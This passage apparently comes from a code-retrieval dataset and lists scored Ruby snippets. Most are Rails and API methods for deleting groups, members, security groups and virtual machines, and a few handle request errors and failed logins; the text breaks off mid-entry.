"docid": "18bfbfbb6333742a7c8db863ebe017a4", "score": "0.6174977", "text": "def destroy\n requires_one :name, :group_id\n\n if group_id.nil?\n service.delete_security_group(name)\n else\n service.delete_security_group(nil, group_id)\n end\n true\n end", "title": "" }, { "docid": "cd63361d8b61e333068874552c76351c", "score": "0.61704713", "text": "def destroy\n @startup_has_group.destroy\n respond_to do |format|\n format.html { redirect_to startup_has_groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f7904043239cf841193c3a18bb0ee3dc", "score": "0.6157553", "text": "def delete\n group_ids = params[:group_ids]\n group_ids.split(\",\").each do |group_id|\n group = Group.find(group_id)\n group.destroy\n end\n @groups = Group.all\n render :nothing => true\n end", "title": "" }, { "docid": "01da138dc7fdcbe2b309b84957ace9e2", "score": "0.6148409", "text": "def delete(name)\n if all.include?(name)\n result = Confluence.conn.removeGroup(name, Confluence::User::DEFAULT_GROUP)\n Confluence.logger.debug(\"Deleted group: #{name}\")\n return result\n else\n return false\n end\n end", "title": "" }, { "docid": "7eaf6c3e727fd29126506242a35518cc", "score": "0.6133266", "text": "def destroy\n if @group.destroy\n Group.rebuild!\n end\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ccf554101c5c1502f71ffbd86ab65c13", "score": "0.6131296", "text": "def destroy_all\n @course.groups.each(&:destroy)\n @course.update(has_group: false, state: \"choose_algo\")\n respond_to do |format|\n format.html { redirect_to grouping_course_path(@course) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "80ffac28ccaf1d19768806d351c07197", "score": "0.6125393", "text": "def delete_group\n\t\treturn if not signed_in_response\n\t\treturn if not get_group\n\t\treturn if not member_of_group\n\n\t\t@group.delete_self\n\t\t@group.destroy\n\t\trespond(SUCCESS)\n\tend", "title": "" }, { "docid": "5cf075d061d8d859a27988f2b991c493", "score": "0.61220634", "text": "def remove_agents_of_group(ids, groups)\n delete \"/agents/group/#{group_id}\", {ids: ids}\n end", "title": "" }, { "docid": "5fb8c667f886642855ba61f35782c503", "score": "0.61141574", "text": "def clear_group()\n begin\n selection = @conf_group_list.get_string_selection\n selection = selection.split(\":\")[0]\n selection.strip!\n $attr[:groups].delete(selection)\n @conf_group_list.delete(@conf_group_list.get_selection)\n rescue NoMethodError # Raised if no group selected from list.\n end\n end", "title": "" }, { "docid": "34d8a0f089bed6e27519285c94d2e284", "score": "0.61023945", "text": "def remove_all_valid_groups\n super\n end", "title": "" }, { "docid": "9d19754531147bd2541a6b6c965d2a8f", "score": "0.60996914", "text": "def destroy\n @host_group.destroy\n respond_to do |format|\n format.html { redirect_to host_groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "52b040b289ccb69f72992181d7660f2a", "score": "0.6097967", "text": "def delete\n registration.specimen_collection_groups.delete(self) if registration\n end", "title": "" }, { "docid": "7b1343f35a335e6903c0ac5236bece40", "score": "0.6091452", "text": "def delete_group\n super\n end", "title": "" }, { "docid": "c48d66435c932211ab9ca235e81077a8", "score": "0.60885227", "text": "def execute\n begin\n group_instance = get_group_instance()\n application.atomic_update do\n if group_instance.gears.length == 0\n group_instance.all_component_instances.each{ |i| i.delete }\n end\n group_instance.delete\n end\n rescue Mongoid::Errors::DocumentNotFound\n # ignore if group instance is already deleted\n end\n end", "title": "" }, { "docid": "259b8a13e24939adb443d4451fccfc3e", "score": "0.6082839", "text": "def remove_multiple_members_from_groups(params = {})\n put(\"/members/groups/remove\", params)\n end", "title": "" }, { "docid": "53f78e9f0ed7297be9f37fdf131676a6", "score": "0.606969", "text": "def destroy\n @plan_group.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "81b2501f6f8d087453e42b3b0d54ea5d", "score": "0.6069532", "text": "def delete!\n update_attributes(:visibility => MuckGroups::DELETED)\n end", "title": "" }, { "docid": "af4b04f60b07d835e484cd052833e130", "score": "0.60650915", "text": "def delete_group_members(request)\n start.uri('/api/group/member')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .delete()\n .go()\n end", "title": "" }, { "docid": "89a516ca5feb97058383be88b88d4ec4", "score": "0.60586375", "text": "def delete_group_members(request)\n start.uri('/api/group/member')\n .body_handler(FusionAuth::JSONBodyHandler.new(request))\n .delete()\n .go()\n end", "title": "" }, { "docid": "8af9388750bd1cde5b7f7fdf5bc0ed78", "score": "0.60551614", "text": "def destroy\n @ad_group.destroy\n end", "title": "" }, { "docid": "0eb9338a80a88d5dae8249e171dfae98", "score": "0.6049391", "text": "def delete()\n\n Group.destroy(self.id)\n end", "title": "" }, { "docid": "f70013cf6fbc8faa4d4863d928e40945", "score": "0.6049172", "text": "def destroy_groups_startups(id)\n @sg = GroupsStartup.find_by_startup_id(id)\n while @sg != nil do\n @sg.destroy\n @sg = GroupsStartup.find_by_startup_id(id)\n end\n end", "title": "" }, { "docid": "d01ec2aac90ee430f469a7596c5e2861", "score": "0.60363185", "text": "def destroy\n @group = @club.groups.find(params[:id])\n @group.destroy unless @group.is_member_list?\n\n respond_to do |format|\n format.html { redirect_to(admin_club_groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "618577fc6bc25670d13c9ad61bf01a08", "score": "0.6019999", "text": "def delete_group\n @group = Group.find(params[:id])\n @created_g_u= Array.new\n @defalut_group = @login_user.default_group[0]\n @group.group_users.each do |g_u|\n g_u.destroy\n group = @login_user.belongs_to_group(g_u.user_id)\n if group.blank?\n group_user = GroupUser.new(:user_id=>g_u.user_id,:group_id=>@defalut_group.id) if group.blank?\n @created_g_u << group_user if group_user.save\n end \n end\n @group.destroy\n #redirect_to :back\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "f0d105a1bf11f3597b63a4a322452db3", "score": "0.6018094", "text": "def zz_api_destroy\n return unless require_user && require_owned_group\n\n zz_api do\n @group.destroy\n nil\n end\n end", "title": "" }, { "docid": "3c1861b8ae13c837db0778876d230a20", "score": "0.6017493", "text": "def destroy\n @groups_grouping.destroy\n respond_to do |format|\n format.html { redirect_to groups_groupings_url, notice: 'Grouping was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c1ee09cc2dc3daf2d24db91eeae4fdaa", "score": "0.60070246", "text": "def remove_members(members)\n if members != nil\n members.each do | member |\n group_user = GroupUser.where(group_id: self.id, user_id: member[:id]).first\n group_user.destroy unless group_user == nil || group_user.is_admin\n end\n end\n end", "title": "" }, { "docid": "0b1671df536759e2b17dfc8eec1e2e26", "score": "0.5998844", "text": "def destory\n if @group.destroy\n User.update_all('acc_group_id = NULL', ['acc_group_id = ?', @group.id])\n flash[:status] = _('Group_was_destroyed')\n else\n flash_errors_for(_('Group_was_not_destroyed'), @group)\n end\n redirect_to(action: 'list', group_type: params[:group_type]) && (return false)\n end", "title": "" }, { "docid": "cc3138b42bd89888a48d65eddf6a956e", "score": "0.5998448", "text": "def destroy\n @group.destroy\n redirect_to root_url\n end", "title": "" }, { "docid": "e0b3972cd5c3a858693ed326d27f281d", "score": "0.5987541", "text": "def test_collection_not_empty\n snmpgroups = SnmpGroup.groups\n refute_empty(snmpgroups)\n end", "title": "" }, { "docid": "41c155d511073ded48531c6160b6883b", "score": "0.59807307", "text": "def destroy\n if params[:id].to_i != APP_CONFIG['administrators']['admin_group'].to_i\n @group = Group.find(params[:id])\n unless @group.name == @current_user.username\n @group.destroy\n end\n respond_to do |format|\n format.html { redirect_to groups_path }\n format.xml { head :ok }\n end\n else\n flash[:notice] = t(\"views.admin.err_destroy_group\")\n redirect_to groups_path\n end\n end", "title": "" }, { "docid": "8a7d1d3024330ecc073a12237c7eb8eb", "score": "0.5976138", "text": "def delete_security_group\n raw_delete_security_group\n end", "title": "" }, { "docid": "b4f4bd72e279a1b843a2358118211dc2", "score": "0.59742486", "text": "def destroy\n @groupId = Group.find(params[:id])\n @users = UserGroup.where(group_id: @groupId.id)\n @users.each(&:destroy)\n @groupId.destroy\n redirect_to groups_path\n end", "title": "" }, { "docid": "3bacd51cb23fdc9f84e43ab7434ffd8c", "score": "0.5973314", "text": "def delete_groupings(groupings)\n # If any groupings have a submission raise an error.\n if groupings.any?(&:has_submission?)\n raise I18n.t('groups.could_not_delete') # should add names of grouping we could not delete\n else\n # Remove each student from every group.\n Repository.get_class.update_permissions_after(only_on_request: true) do\n groupings.each do |grouping|\n grouping.student_memberships.each do |mem|\n grouping.remove_member(mem.id)\n end\n grouping.delete_grouping\n end\n end\n end\n end", "title": "" }, { "docid": "9bb11ae864e3f4ca066d8112e4a3019e", "score": "0.5972266", "text": "def delete\n Modeles::Group.delete @groupInTable.id\n @groupInTable = nil\n @name = nil\n @users = nil\n @files = nil\n @errors = nil\n end", "title": "" }, { "docid": "cd3d44aff7aa2dbd20e92846328d1b3f", "score": "0.5968931", "text": "def destroy\n @group = Group.find(params[:id])\n if @group.id > 0\n @group.destroy\n else\n flash[:error] = 'You cannot destroy meta groups'\n end\n\n respond_to do |format|\n format.html { redirect_to(admin_groups_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "81e619c9ce6ab06151ee2fab975fac85", "score": "0.59529847", "text": "def destroy\n @group = current_user.groups.find(params[:id])\n @group.destroy\n redirect_to groups_path, alert: \"討論版已刪除\"\n end", "title": "" }, { "docid": "104ec9a4e16073e1d2381fe03e72e34e", "score": "0.59379387", "text": "def destory\n if @group.destroy\n User.update_all(\"acc_group_id = NULL\", [\"acc_group_id = ?\", @group.id])\n flash[:status] = _('Group_was_destroyed')\n else\n flash_errors_for(_('Group_was_not_destroyed'), @group)\n end\n redirect_to :action => 'list', :group_type => params[:group_type] and return false\n end", "title": "" }, { "docid": "ff6587e1c7649f11af22d9afaa925290", "score": "0.5927342", "text": "def unfreeze_cgroups\n #out,err,rc = ::OpenShift::Runtime::Utils::oo_spawn(\"service cgconfig status > /dev/null\")\n #::OpenShift::Runtime::Utils::oo_spawn(\"/usr/sbin/oo-admin-ctl-cgroups thawuser #{@container.uuid} > /dev/null\") if rc == 0\n end", "title": "" }, { "docid": "cfea0730b5f29632fd98686159a9687b", "score": "0.59217596", "text": "def delete\n rg_exists = @resource_client.resource_groups.check_resource_group_exists(@rg_name)\n if !rg_exists\n OOLog.info(\"The Resource Group #{@rg_name} does not exist. Moving on...\")\n else\n @resource_client.resource_groups.get(@rg_name).destroy\n end\n end", "title": "" }, { "docid": "1f83e101b05b671a36d66400f38b875f", "score": "0.5916446", "text": "def destroy\n \tcurrent_user.update(:user_group => nil)\n\t\tredirect_to '/user_groups', :notice => \"You have left #{UserGroup.find_by_group_name(params[:id]).group_name}\"\n end", "title": "" }, { "docid": "7310f9a58ca089094494f2000bdabbb4", "score": "0.5915305", "text": "def delete_computergroup\n begin\n FileUtils.rm_rf(@file)\n rescue Puppet::ExecutionFailure => detail\n fail(\"Could not destroy the computergroup record, #{resource[:name]}: #{detail}\")\n end\n end", "title": "" }, { "docid": "f5d859b1ba873117bb7e1a10442a9958", "score": "0.59130174", "text": "def device_group_delete\n user_id = @devicegroup.user_id\n if @devicegroup.destroy_everything\n flash[:status] = _('Dev_group_deleted')\n else\n flash[:notice] = _('Dev_group_not_deleted')\n end\n redirect_to :action => 'device_groups', :id => user_id\n end", "title": "" }, { "docid": "9c5edb9086a6eb7071853797ee53de43", "score": "0.5897684", "text": "def remove_valid_group(opts)\n opts = check_params(opts,[:groups])\n super(opts)\n end", "title": "" }, { "docid": "f5a96c3e7a91e51bed38008cabc10da8", "score": "0.5889235", "text": "def object_group_remove(group)\n @runtime_groups.delete group.name\n self\n end", "title": "" }, { "docid": "13fd072d177084b878ff8cd23ce8926e", "score": "0.58870435", "text": "def destroy\n # delete all menberships in this group\n menberships= Menbership.all.select{| menbership| menbership.groupId == @group.id}\n menberships.each{|menbership| menbership.destroy};\n #delete all shared documents in this group\n sharedDocs= SharedDocument.all.select{| sharedDoc| sharedDoc.groupId == @group.id}\n sharedDocs.each{|sharedDoc| sharedDoc.destroy};\n # delete group endlich\n @group.destroy\n\n respond_to do |format|\n format.html { redirect_to groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7a77c014c6a09f54c53c5ddeca25c95", "score": "0.5886206", "text": "def destroy\n \n @group = Group.find(params[:group_id])\n @student = User.find(params[:id])\n @game = @group.jigsaw\n \n @group.users.delete(@student)\n \n if @group.users.empty?\n @group.destroy()\n end\n \n redirect_to game_groups_path(@game), notice: 'Estudante eliminado'\n \n end", "title": "" }, { "docid": "c35dedbd6c34ab3591a72ddbeefc172e", "score": "0.588055", "text": "def clear\n @size = 0\n @groups.clear\n end", "title": "" }, { "docid": "b5065526212a72b595458428b7ab8452", "score": "0.5874754", "text": "def destroy\n @group.destroy unless @group.default_group\n redirect_to groups_url\n # respond_to do |format|\n # format.html { redirect_to groups_url }\n # format.json { head :no_content }\n # end\n end", "title": "" }, { "docid": "0e913f494fd258c82e5d76a738ee8cb4", "score": "0.58582973", "text": "def destroy\n requires :name\n\n connection.delete_security_group(name)\n true\n end", "title": "" }, { "docid": "4933ca40856789b65ab7dcd9e49146b7", "score": "0.58582157", "text": "def destroy\n @group.destroy\n redirect_to groups_url, notice: 'Group was successfully destroyed.'\n end", "title": "" }, { "docid": "1c3a60a55a210baa966aa45b1a65466c", "score": "0.5856324", "text": "def delete_from_dashboard_order\n return if user_version? || group.nil?\n\n group.delete_from_dashboard_order(id)\n group.save\n end", "title": "" }, { "docid": "dd0f927b6e7e05e5dcf3c4bef13ad67f", "score": "0.58551294", "text": "def destroy\n @pool_group.destroy\n respond_to do |format|\n format.html { redirect_to pool_groups_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "583ed0d181a523d34393de0575cf0737", "score": "0.58503026", "text": "def remove_member\n @v1_group = current_user.groups.where(id: params[:id]).first\n user = @v1_group.users.where(id: params[:user_id])\n @v1_group.users.delete(user)\n @v1_group.save\n\n user_chores = Chore.where(user_id: params[:user_id], group_id: params[:id])\n user_chores.each do |chore|\n chore.destroy\n end\n user_requests = Request.where(sender_id: params[:user_id], group_id: params[:id])\n user_requests.each do |request|\n request.destroy\n end\n head(:ok)\n end", "title": "" }, { "docid": "f00cfafb33cc3be484e09cf8401c5e7a", "score": "0.58420163", "text": "def destroy\n if @groups_eval.update(active: false)\n render json: { data: {groups_eval: @groups_eval}, errors: @errors }.to_json, status: :ok\n else\n render json: { data: {groups_eval: @groups_eval.errors}, errors: @errors }.to_json, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "835f367e27b39d2ae3c8b775cd1e8ae1", "score": "0.58313024", "text": "def destroy\n @group = Group.find(params[:id])\n group_user = GroupUser.where(user_id: params[:user], group_id: params[:id]).first\n group_user.destroy\n if @group.users.empty?\n @group.comments.each do |comment|\n comment.destroy\n end\n @group.group_scripts.each do |script|\n script.destroy\n end\n @group.destroy\n respond_to do |format|\n format.html { redirect_to current_user, notice: 'Group destroyed' }\n end\n else\n respond_to do |format|\n format.html { redirect_to @group, notice: 'Successfully left group.' }\n end\n end\n end", "title": "" }, { "docid": "a1c31e40649b343b36ef3d5b2488a843", "score": "0.58197606", "text": "def destroy_by_node_name\n vagrant_cleaner = VagrantCleaner.new(@env, @ui)\n vagrant_vm_list = vagrant_cleaner.vm_list\n aws_vm_list = @aws_service.instances_names_list\n digitalocean_vm_list = @digitalocean_service.instances_names_list\n gcp_vm_list = @gcp_service.instances_list\n\n filtered_vagrant_vm_list = vagrant_vm_list.map do |provider, nodes|\n [provider, filter_nodes_by_name(nodes, @env.node_name)]\n end.to_h\n filtered_aws_vm_list = filter_nodes_by_name(aws_vm_list, @env.node_name)\n filtered_gcp_vm_list = filter_nodes_by_name(gcp_vm_list, @env.node_name)\n filtered_digitalocean_vm_list = filter_nodes_by_name(digitalocean_vm_list, @env.node_name)\n summary_filtered_vm_list = filtered_vagrant_vm_list.values.flatten + filtered_aws_vm_list +\n filtered_gcp_vm_list + filtered_digitalocean_vm_list\n return unless @ui.confirmation(\"Virtual machines to destroy: #{summary_filtered_vm_list}\",\n 'Do you want to continue? [y/n]')\n\n filtered_vagrant_vm_list.each do |provider, nodes|\n nodes.each { |node| vagrant_cleaner.destroy_node_by_name(node, provider) }\n end\n filtered_aws_vm_list.each { |node| @aws_service.terminate_instance_by_name(node) }\n filtered_gcp_vm_list.each { |node| @gcp_service.delete_instance(node) }\n filtered_digitalocean_vm_list.each { |node| @digitalocean_service.delete_instance(node) }\n end", "title": "" }, { "docid": "edd449dc5dad398b3cd3696a4af800a4", "score": "0.5819613", "text": "def destroy\n Group.find(params[:id]).destroy\n flash[:success] = \"Group deleted\"\n redirect_to groups_url\n end", "title": "" }, { "docid": "7c479dbadb238b01020b5b6301cd7b95", "score": "0.5816999", "text": "def destroy\n @group.destroy\n respond_to do |format|\n format.html {redirect_to xmt_rbac_groups_url, notice: '用户组删除成功.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "75d34d7b49795c9c87193e0d1d376092", "score": "0.58160454", "text": "def delete_group(name)\n self.class.delete(\"#{@url}/rest/user-management/groups/#{URI.escape(name)}\", basic_auth: @auth)\n end", "title": "" }, { "docid": "d2e6be3a40539d1dcaa28e4aef244654", "score": "0.58144647", "text": "def destroy_dependant_group_permissions\n self.group_permissions.each do |group_permission|\n group_permission.destroy\n end\n end", "title": "" }, { "docid": "af158ee53bd127225f163b8f65ff47a4", "score": "0.5813227", "text": "def free_vm_ids\n vm_ids = Range.new(*@config['vm_ids_range']).to_a -\n api_get('nodes').map do |pve_node_info|\n api_get(\"nodes/#{pve_node_info['node']}/lxc\").map { |lxc_info| Integer(lxc_info['vmid']) }\n end.flatten\n # Make sure the vm_ids that are available don't have any leftovers in the cgroups.\n # This can happen with some Proxmox bugs, and make the API returns 500 errors.\n # cf. https://forum.proxmox.com/threads/lxc-console-cleanup-error.38293/\n # TODO: Remove this when Proxmox will have solved the issue with leftovers of destroyed vms.\n (vm_ids.map(&:to_s) & vm_ids_in_cgroups).each do |vm_id_str|\n # We are having a vm_id that is available but still has some leftovers in cgroups.\n # Clean those to avoid 500 errors in API.\n log \"Found VMID #{vm_id_str} with leftovers in cgroups. Cleaning those.\"\n Dir.glob(\"/sys/fs/cgroup/*/lxc/#{vm_id_str}\") do |cgroup_dir|\n log \"Removing #{cgroup_dir}\"\n FileUtils.rm_rf cgroup_dir\n end\n end\n vm_ids\n end", "title": "" } ]
04e884ed022dca1fc661ec5bc81f292f
Send user ID, params, and request URL to Sentry onerror.
[ { "docid": "4b8cc92b0442291e9af1fff6053e8b98", "score": "0.0", "text": "def set_raven_context\n Raven.user_context(id: current_user&.username)\n Raven.extra_context(params: params.to_unsafe_h, url: request.url)\n end", "title": "" } ]
[ { "docid": "39ff81fa1f0b9e2a712f5230b8ec1c20", "score": "0.60574794", "text": "def log_to_sentry(method, uri, params)\n Sentry.error('Api Failed', method: method, uri: uri, params: params)\n end", "title": "" }, { "docid": "f4e7afc9333f18624aa24dc093a3a669", "score": "0.5967679", "text": "def error_catcher\n begin\n user_nickname = @nickname\n #user_nickname = current_authentication.nickname if current_authentication.present?\n Rails.logger.info \"Processing request for user:#{user_nickname}\"\n yield\n rescue Exception => e\n handle_error(e)\n render :status => 500\n end\n end", "title": "" }, { "docid": "8542acb729ac95811ff67cbb722e8959", "score": "0.59583557", "text": "def set_sentry_context\n if (request.body.read.length >= 2)\n data = JSON.parse request.body.read\n email = data[\"email\"]\n else\n email = (0...4).map { (65 + rand(26)).chr }.join.downcase + \"@yahoo.com\"\n end\n xactionId = request.headers[\"X-Transaction-ID\"]\n sessionId = request.headers[\"X-Session-ID\"]\n\n Sentry.configure_scope do |scope|\n scope.set_user(email: email)\n scope.set_tags(\"transaction-id\": xactionId, \"session-id\": sessionId)\n end\n end", "title": "" }, { "docid": "57bed582bf89b0806bc81702366ab0a1", "score": "0.57625216", "text": "def handle_error req_id, req\n super\n end", "title": "" }, { "docid": "57bed582bf89b0806bc81702366ab0a1", "score": "0.57625216", "text": "def handle_error req_id, req\n super\n end", "title": "" }, { "docid": "37c6b230b2078e8708825c182d8cd788", "score": "0.5645443", "text": "def report_spammer user\n Net::HTTP.start(STOP_FORUM_SPAM) do |http|\n response = http.post(\"/add\",\"api_key=#{@properties['api_key']}&username=#{URI.escape(user.name)}&ip_addr=#{user.ip}&email=#{URI.escape(user.email)}\")\n case response\n when Net::HTTPSuccess\n @log.info \"OK, reported.\"\n else\n @log.error \"report spammer response was #{response.code}: #{response.message}\"\n end\n end\n rescue Exeception => e\n @log.error \"sfs post failed.\\n #{$!}\"\n end", "title": "" }, { "docid": "fc3acfa72b66537b1bd90883aebfb200", "score": "0.5620474", "text": "def note_failed_signin\n add_error(\"Couldn't sign in via '#{session[:openid_identifier]}'\")\n logger.warn \"Failed signin for '#{session[:openid_identifier]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "aa34c6400fe70e491a4d6e4e1c9b6cc0", "score": "0.54744714", "text": "def handle_request_error\n log(\"ERROR WHILE SENDING REQUEST TO LINGUARA: #{$!}\")\n end", "title": "" }, { "docid": "aa34c6400fe70e491a4d6e4e1c9b6cc0", "score": "0.54744714", "text": "def handle_request_error\n log(\"ERROR WHILE SENDING REQUEST TO LINGUARA: #{$!}\")\n end", "title": "" }, { "docid": "74d542f1a4489eb05e36be2f5650ccf6", "score": "0.54418266", "text": "def note_failed_signin\n\t\tlogger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n\tend", "title": "" }, { "docid": "228ec976f6dee9b837ff3786207f84e1", "score": "0.54369795", "text": "def failure\n if request.referer && request.referer.index(request.host+launch_path)\n loc = Addressable::URI.parse(request.referer)\n new_query = loc.query_values || {}\n new_query[\"auto_auth_failed\"] = true\n loc.query_values = new_query\n redirect_to loc.to_s\n else\n redirect_to new_user_session_path\n end\n end", "title": "" }, { "docid": "7fb777bd4925bad8cb4335a3f3985c30", "score": "0.541422", "text": "def _add_app_error(error)\n error.user_id = user_id\n super\n end", "title": "" }, { "docid": "7fb777bd4925bad8cb4335a3f3985c30", "score": "0.541422", "text": "def _add_app_error(error)\n error.user_id = user_id\n super\n end", "title": "" }, { "docid": "bd1521aaaf4a63b531f462de95c8aa77", "score": "0.5409799", "text": "def capture_bad_request(msg: \"\", parms: nil)\n parms ||= params\n logger.info \"Bad owner enrollment #{msg}: #{parms}\"\n head 406\n end", "title": "" }, { "docid": "219aca1ca327fd12d0780d9564fbd131", "score": "0.540523", "text": "def import_failed(user_id)\n @user = User.find(user_id)\n\n mail to: \"team@badge.co\", subject: \"Google App Import Failed\"\n end", "title": "" }, { "docid": "b23cde9d9ca32a668768db08de397987", "score": "0.5404089", "text": "def handle_error req_id, req\n err = req.error.to_s.empty? ? 'request error' : req.error\n @errors_back[req_id] = { :error => err }\n end", "title": "" }, { "docid": "e2d0d9b74f9c09135f88c7d834f660b5", "score": "0.5403168", "text": "def handle_unverified_request; end", "title": "" }, { "docid": "ed1c15a31e94743e06aab72a99aa87ac", "score": "0.5362594", "text": "def note_failed_signin(ident)\n flash[:error] = \"Couldn't log you in as '#{ident}'\"\n logger.warn \"Failed login for '#{ident}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "127ac93dcef327600f73ab8a061aa428", "score": "0.53575927", "text": "def user_not_found(e)\n error!(\"User not found\", e.class.name, 404)\n end", "title": "" }, { "docid": "91f197eaf0b407c24c589e419bc5b6e3", "score": "0.5345347", "text": "def log_request(request, type, current_user)\n request_information = {\n message: 'Action_Rate_Limiter_Request',\n env: type,\n remote_ip: request.ip,\n request_method: request.request_method,\n path: request.fullpath\n }\n\n if current_user\n request_information.merge!({\n user_id: current_user.id,\n username: current_user.username\n })\n end\n\n Gitlab::AuthLogger.error(request_information)\n end", "title": "" }, { "docid": "732269df73e1fac6c4a9557afb44188a", "score": "0.5314093", "text": "def tag_errors\n if user_signed_in?\n # Appsignal.tag_request(\n # 'User ID' => current_user.id,\n # 'User name' => \"#{current_user.first_name} #{current_user.last_name}\",\n # 'User email' => current_user.email\n # )\n end\n end", "title": "" }, { "docid": "95a7981bc7cfe487b87dba4cb35667c1", "score": "0.5302133", "text": "def set_sentry_context\n begin\n yield\n rescue StandardError => e\n SentryService.new('12', request, params, e, context_variables).register\n raise e\n end\n end", "title": "" }, { "docid": "ad0b31869c2d6bdec1b5b891a0bce2a0", "score": "0.528613", "text": "def note_failed_signin(user)\n flash[:alert] = \"Couldn't log you in as '#{params[:email]}'\"\n flash[:alert] << \"because #{user.errors.as_html}\" if user\n Rails.logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}: #{flash[:alert]}\"\n end", "title": "" }, { "docid": "5cb2ed0197b69891a9629e4b7f5b4a9b", "score": "0.52841705", "text": "def handle_unverified_request\n end", "title": "" }, { "docid": "38d6698861dde8d633e6afd804b1571f", "score": "0.5250593", "text": "def http_error\n Log.add_info(request, params.inspect)\n end", "title": "" }, { "docid": "d0cc2b73596d72be666bb7768fbda1dd", "score": "0.52464104", "text": "def error_event(err, env)\n {\n type: 'error.internal',\n to: 'tech@lynr.co',\n subject: \"[#{env['HTTP_HOST']}] #{err.class} on #{env['PATH_INFO']}\",\n err: { class: err.class, message: err.message, backtrace: err.backtrace },\n req: env.dup.delete_if { |k, v| k.start_with?('rack.') || k.start_with?('puma.') }\n }\n end", "title": "" }, { "docid": "0d220b01e508aa9a4fe1fee22cceda3f", "score": "0.5232874", "text": "def handle_unverified_request\n end", "title": "" }, { "docid": "ce0bd2d89ccf27056ee94c81945f937c", "score": "0.51836324", "text": "def add_user_details_to_exception_notification_mail\n request.env[\"exception_notifier.exception_data\"] =\n {\n :current_user => current_user\n }\n end", "title": "" }, { "docid": "4a2924055352935b75e388c7a1ed9596", "score": "0.5176764", "text": "def note_failed_signin(user)\n flash[:alert] = \"Couldn't log you in as '#{params[:email]}'\"\n flash[:alert] << \": #{user.errors.on(:login_failed)}\" if user\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}: #{flash[:alert]}\"\n end", "title": "" }, { "docid": "fd1719299e91f76322757b2509d3aba7", "score": "0.5167184", "text": "def catch_errors_and_log_request_stats\n clear_user_globals\n stats = request_stats\n yield\n IpStats.log_stats(stats)\n logger.warn(request_stats_log_message(stats))\n rescue StandardError => e\n raise(@error = e)\n end", "title": "" }, { "docid": "19c98cb93463a596d31264c58c66e7a9", "score": "0.51355976", "text": "def error(video, user)\n @video = video\n @user = user\n mail :to => @user.email\n end", "title": "" }, { "docid": "7cc74913cf5ee1887149bb8d8c4a1b22", "score": "0.5118618", "text": "def fail\n ap params\n error = \"We could not connect to #{params[\"strategy\"].capitalize}\"\n logger.warn \"OAUTH FAILED #{params}\"\n if session[:user_id].nil?\n redirect_to params[\"origin\"] || root_path , :notice => error\n else\n user = User.find( session[:user_id])\n redirect_to user_path(user), :notice => error\n end\n end", "title": "" }, { "docid": "481472bb98d375b5059f94acbdec21b9", "score": "0.508646", "text": "def generic_ils_error(request)\n self.custom_from_address = %(\"Stanford Libraries Requests\" <sul-requests-support@stanford.edu>)\n\n request_status(request)\n end", "title": "" }, { "docid": "826da3de449ffd87d36c0b5cff0c812a", "score": "0.5081617", "text": "def evernote_request(&block)\n block.call\n rescue Evernote::EDAM::Error::EDAMUserException => e\n error_desc = Evernote::EDAM::Error::EDAMErrorCode::VALUE_MAP.fetch(e.errorCode, \"Unknown\")\n\n if e.errorCode == Evernote::EDAM::Error::EDAMErrorCode::AUTH_EXPIRED\n log.warn \"#evernote_request failed - user=#{user.id} - #{e.class} - errorCode=#{e.errorCode}, errorDesc=#{error_desc}\", e\n raise EvernoteCredentialsInvalid.new(user.id)\n end\n\n log.error \"#evernote_request failed - user=#{user.id} - #{e.class} - errorCode=#{e.errorCode}, errorDesc=#{error_desc}\", e\n raise\n rescue => e\n log.error \"#evernote_request failed - user=#{user.id} - #{e.class} - #{e.message}\", e\n raise\n end", "title": "" }, { "docid": "7e69d5b5f71d2fe673cae69be9d52035", "score": "0.5072421", "text": "def note_failed_signin\n # flash[:error] = t(:error_login, :email => params[:email])\n logger.warn \"Failed login for '#{params[:email]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end", "title": "" }, { "docid": "1766a229d2187a3b8c04f1ca98c45a7a", "score": "0.50662434", "text": "def not_found\n\thalt 404,{message: \"User not found\"}\nend", "title": "" }, { "docid": "0542fe6d77528c0bd185f3c901e23f71", "score": "0.50644904", "text": "def log\n app_params = params[:app_info].symbolize_keys\n user_id = app_params[:user_id] && app_params.delete(:user_id) \n params_string = app_params.keys.sort.map { |k| \"#{k}=#{app_params[k]}\" }.join(\",\")\n session_id = session[\"session_id\"]\n value = params[:value]\n if [\"ping_error\",\"network_error\"].include? params[:type]\n start= Time.at(value[0].to_i/1000.0).strftime(\"%x %X\") \n if value.length > 1\n duration = format_seconds_duration (value[1].to_i - value[0].to_i)/1000.0\n value = \"at #{start} for #{duration} \"\n else\n value = \"at #{start}\"\n end\n elsif [\"hung_error\",\"server_error\"].include? params[:type]\n JSON.parse(params[:value]).map do |url,time|\n time = Time.at(time.to_i/1000.0).strftime(\"%x %X\") \n value = \"#{url} on #{time}\"\n end.join(\",\")\n elsif params[:type] == \"javascript_error\"\n npb_mail(\"Javascript error: User #{user_id}; error #{value}\")\n end\n log_app_event \"[#{user_id || tmp_user_id}] #{params[:type]}=#{value}, #{params_string}, session_id=#{session_id}\"\n render :text => \"OK\" \n end", "title": "" }, { "docid": "22416040ee2db65417667e44ad109fe4", "score": "0.50637305", "text": "def note_failed_signin\n flash[:error] = \"Sorry, Couldn't log you in.\"\n logger.warn \"Failed login for #{account.subdomain} with '#{params[:user][:email]}' from #{request.remote_ip} at 